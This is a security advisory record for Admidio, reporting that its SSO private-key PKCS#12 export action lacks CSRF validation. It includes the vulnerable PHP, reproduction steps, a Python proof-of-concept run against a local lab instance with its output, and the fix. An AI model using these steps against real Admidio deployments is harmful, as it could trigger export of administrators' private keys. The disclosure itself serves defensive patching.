{"id":"GHSA-4rgq-38mh-9xqg","summary":"Admidio PKCS#12 private key export action lacks CSRF protection","details":"## Summary\n\nThe sensitive `mode=export` action in `modules/sso/keys.php` exports a PKCS#12 bundle containing the configured private key and certificate, but the CSRF validation line is commented out. A forged cross-site POST from an administrator session can therefore trigger private key export without a valid form token.\n\n## Vulnerable Code Links\n\n- https://github.com/Admidio/admidio/blob/v5.0.9/modules/sso/keys.php#L83-L94\n- https://github.com/Admidio/admidio/blob/v5.0.9/src/SSO/Service/KeyService.php#L108-L150\n\n## Vulnerable Code\n\n```php\n// modules/sso/keys.php\ncase 'export':\n// SecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n$keyService = new KeyService($gDb);\n$password = admFuncVariableIsValid($_POST, 'key_password', 'string');\n$keyService-\u003eexportToPkcs12($getKeyUUID, $password);\nbreak;\n```\n\n```php\n// src/SSO/Service/KeyService.php\npublic function exportToPkcs12(string $keyUUID, string $password = '') {\n$ssoKey = new Key($this-\u003edb);\n$ssoKey-\u003ereadDataByUuid($keyUUID);\n...\nopenssl_pkcs12_export($certificate, $pkcs12, $privateKey, $password, [\"friendly_name\" =\u003e $name]);\nheader('Content-Type: application/x-pkcs12');\nheader('Content-Disposition: attachment; filename=\"' . $filename . '.p12\"');\necho $pkcs12;\nexit;\n}\n```\n\n\n## What Does The Code Mean\n\nThe export route accepts a key UUID and export password from the request, then returns a PKCS#12 bundle containing the private key material and certificate as a direct browser download.\n\n## Why The Code Is Vulnerable\n\nThe route is a sensitive action and should require a valid anti-CSRF token. Because the validation call is commented out, any attacker-controlled page can force an authenticated administrator’s browser to perform the export request.\n\n## Verification Environment\n\n- Application: Admidio `v5.0.9`\n- Runtime: Dockerized Admidio + MariaDB on `http://localhost:18080`\n- Validation mode: real deployed application, not isolated unit tests\n\n## Steps To Reproduce\n\n1. Log in as an administrator.\n2. Create or seed an SSO key pair.\n3. Send a POST request to `/modules/sso/keys.php?mode=export&uuid=\u003ckey-uuid\u003e` with only `key_password=ExportPass123!` and no `adm_csrf_token`.\n4. Verify that the response returns `application/x-pkcs12` and that the returned file parses successfully with OpenSSL.\n\n\n## PoC Script\n\n```python\nimport os\nfrom pathlib import Path\n\nfrom helpers import BASE_URL, login, new_session, save_json, save_text\n\n\nKEY_UUID = os.environ[\"ADMIDIO_KEY_UUID\"]\n\n\ndef main():\nsession = new_session()\nlogin_result = login(session, \"admin\", \"AdminPass123!\")\nresp = session.post(\n    f\"{BASE_URL}/modules/sso/keys.php?mode=export&uuid={KEY_UUID}\",\n    data={\"key_password\": \"ExportPass123!\"},\n)\nresp.raise_for_status()\n\nPath(\"/home/ubuntu/bughunting/admidio/runtime_validation/output/exported_key.p12\").write_bytes(resp.content)\nsave_json(\n    \"pkcs12_export_csrf_result.json\",\n    {\n        \"login\": login_result,\n        \"status_code\": resp.status_code,\n        \"content_type\": resp.headers.get(\"Content-Type\"),\n        \"content_length\": len(resp.content),\n        \"content_disposition\": resp.headers.get(\"Content-Disposition\"),\n    },\n)\n\n\nif __name__ == \"__main__\":\nmain()\n```\n\n## PoC Output\n\n```text\n{\n  \"content_disposition\": \"attachment; filename=\\\"Runtime_Test_Key.p12\\\"\",\n  \"content_length\": 2644,\n  \"content_type\": \"application/x-pkcs12\",\n  \"login\": {\n\"cookies\": {\n  \"ADMIDIO_admidio_adm_SESSION_ID\": \"jpk70tcvbaq3gof7lqdq6penkb\"\n},\n\"csrf\": \"ztUJwMPATEKBdu2Qw3oJlnD0WeWLcn\",\n\"json\": {\n  \"status\": \"success\",\n  \"url\": \"http://localhost:18080/modules/overview.php\"\n},\n\"status_code\": 200\n  },\n  \"status_code\": 200\n}\n\nMAC: sha256, Iteration 2048\nMAC length: 32, salt length: 8\nPKCS7 Encrypted data: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256\nCertificate bag\nPKCS7 Data\nShrouded Keybag: PBES2, PBKDF2, AES-256-CBC, Iteration 2048, PRF hmacWithSHA256\n```\n\n## Impact\n\nA cross-site request can trigger private key export in an administrator browser context. Same-origin policy normally prevents direct cross-site reading of the response, so the practical impact is lower than a direct exfiltration bug, but the application still performs a sensitive secret-export action without CSRF protection.\n\n## Remediation And Suggestions\n\nRestore CSRF validation and require a POST body token before exporting private key material.\n\n```php\ncase 'export':\nSecurityUtils::validateCsrfToken($_POST['adm_csrf_token']);\n$keyService = new KeyService($gDb);\n$password = admFuncVariableIsValid($_POST, 'key_password', 'string');\n$keyService-\u003eexportToPkcs12($getKeyUUID, $password);\nbreak;\n```\n\nFor additional hardening, consider requiring re-authentication or current-password confirmation before any private-key export.","aliases":["CVE-2026-47232"],"modified":"2026-09-10T03:51:04.690024311Z","published":"2026-05-29T22:07:24Z","database_specific":{"severity":"MODERATE","github_reviewed":true,"github_reviewed_at":"2026-05-29T22:07:24Z","nvd_published_at":null,"cwe_ids":["CWE-352"]},"references":[{"type":"WEB","url":"https://github.com/Admidio/admidio/security/advisories/GHSA-4rgq-38mh-9xqg"},{"type":"PACKAGE","url":"https://github.com/Admidio/admidio"}],"affected":[{"package":{"name":"admidio/admidio","ecosystem":"Packagist","purl":"pkg:composer/admidio/admidio"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"5.0.10"}]}],"versions":["4.1.0","4.1.3","v4.2-Beta.1","v4.2-Beta.2","v4.2-Beta.3","v4.2.0","v4.2.1","v4.2.10","v4.2.11","v4.2.12","v4.2.13","v4.2.14","v4.2.2","v4.2.3","v4.2.4","v4.2.5","v4.2.6","v4.2.7","v4.2.8","v4.2.9","v4.3-Beta.1","v4.3-Beta.3","v4.3-Beta.4","v4.3-Beta.5","v4.3.0","v4.3.1","v4.3.10","v4.3.11","v4.3.12","v4.3.13","v4.3.14","v4.3.15","v4.3.16","v4.3.17","v4.3.2","v4.3.3","v4.3.4","v4.3.5","v4.3.6","v4.3.7","v4.3.8","v4.3.9","v5.0-Beta.1","v5.0-Beta.2","v5.0-Beta.3","v5.0.0","v5.0.1","v5.0.2","v5.0.3","v5.0.4","v5.0.5","v5.0.6","v5.0.7","v5.0.8","v5.0.9"],"database_specific":{"last_known_affected_version_range":"\u003c= 5.0.9","source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/05/GHSA-4rgq-38mh-9xqg/GHSA-4rgq-38mh-9xqg.json"}}],"schema_version":"1.9.0","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N"}]}